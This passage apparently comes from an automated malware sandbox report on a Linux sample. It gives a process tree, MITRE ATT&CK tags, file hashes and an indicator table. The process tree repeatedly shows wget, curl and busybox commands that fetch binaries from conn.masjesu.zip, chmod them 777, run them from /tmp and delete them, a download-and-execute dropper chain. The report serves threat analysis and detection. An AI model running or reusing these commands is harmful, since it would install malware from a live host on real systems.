  rm Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
  2⤵
  PID:969
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - System Network Configuration Discovery
  PID:973
- /bin/chmod
  chmod 777 R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - File and Directory Permissions Modification
  PID:974
- /tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  ./R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  - Executes dropped EXE
  PID:975
- /bin/rm
  rm R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
  2⤵
  PID:976
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - System Network Configuration Discovery
  PID:977
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:978
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - System Network Configuration Discovery
  PID:980
- /bin/chmod
  chmod 777 go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - File and Directory Permissions Modification
  PID:981
- /tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  ./go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  - Executes dropped EXE
  PID:982
- /bin/rm
  rm go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
  2⤵
  PID:983
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  PID:984
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:985
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - System Network Configuration Discovery
  PID:987
- /bin/chmod
  chmod 777 TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - File and Directory Permissions Modification
  PID:988
- /tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  ./TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  - Executes dropped EXE
  PID:989
- /bin/rm
  rm TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
  2⤵
  PID:990
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - System Network Configuration Discovery
  PID:991
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:992
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - System Network Configuration Discovery
  PID:994
- /bin/chmod
  chmod 777 v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - File and Directory Permissions Modification
  PID:995
- /tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  ./v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  - Executes dropped EXE
  PID:996
- /bin/rm
  rm v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
  2⤵
  PID:997
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  PID:998
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:999
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - System Network Configuration Discovery
  PID:1001
- /bin/chmod
  chmod 777 GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - File and Directory Permissions Modification
  PID:1002
- /tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  ./GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  - Executes dropped EXE
  PID:1003
- /bin/rm
  rm GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
  2⤵
  PID:1004
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - System Network Configuration Discovery
  PID:1005
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1006
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  PID:1008
- /bin/chmod
  chmod 777 ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - File and Directory Permissions Modification
  PID:1009
- /tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  ./ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  - Executes dropped EXE
  PID:1010
- /bin/rm
  rm ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
  2⤵
  PID:1011

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU

Path /tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU	743	GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
/tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL	750	ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL
/tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2	757	jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
/tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65	788	X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
/tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva	816	gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
/tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR	826	3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
/tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ	845	LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
/tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh	868	vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
/tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN	877	rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
/tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw	884	Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
/tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai	891	R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
/tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA	898	go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
/tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n	905	TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
/tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE	912	v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
/tmp/jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2	919	jIZyCWCUft6OCnZ06LXXEz3vUUaSMVTxW2
/tmp/X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65	926	X631b8CSSYfYEcABJN28OgyYGyp8Jm5n65
/tmp/gMpT78RIF0el0OBRqR106C6jNnXEMxTTva	933	gMpT78RIF0el0OBRqR106C6jNnXEMxTTva
/tmp/3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR	940	3PdvXU7UGMql9qJ2Shiam4H1HooElEofbR
/tmp/LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ	947	LQp1B2XCMAHBNpEkl6qyq7DsEBaG9UjURQ
/tmp/vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh	954	vgDCBFutrJnDM844rxSU8jlWbiKUjwFTUh
/tmp/rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN	961	rOdrx3y77pd6ykNJJD4QM7emEEH21b9SmN
/tmp/Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw	968	Ocie2yW4GdaK3VHURKYcQJhsZWEFAe4YVw
/tmp/R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai	975	R9BXv0rUQ5hY8QHwZEx4aRyjb3TXwUfrai
/tmp/go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA	982	go0H3u6yNPaOEcud6oCJ4cOtsmcU6Hc0eA
/tmp/TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n	989	TEwgZGFqW8JKgiJFLyop2P8B85z5APcj5n
/tmp/v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE	996	v03qleEOhpxlmApBzmD8CkrvLbqsesX2eE
/tmp/GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU	1003	GqBagoMChGfE2y0Jul524TSXfKPOQ3YYAU
/tmp/ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL	1010	ibd4KEFLDFri3YcN4rzbKvcprJSZrwblWL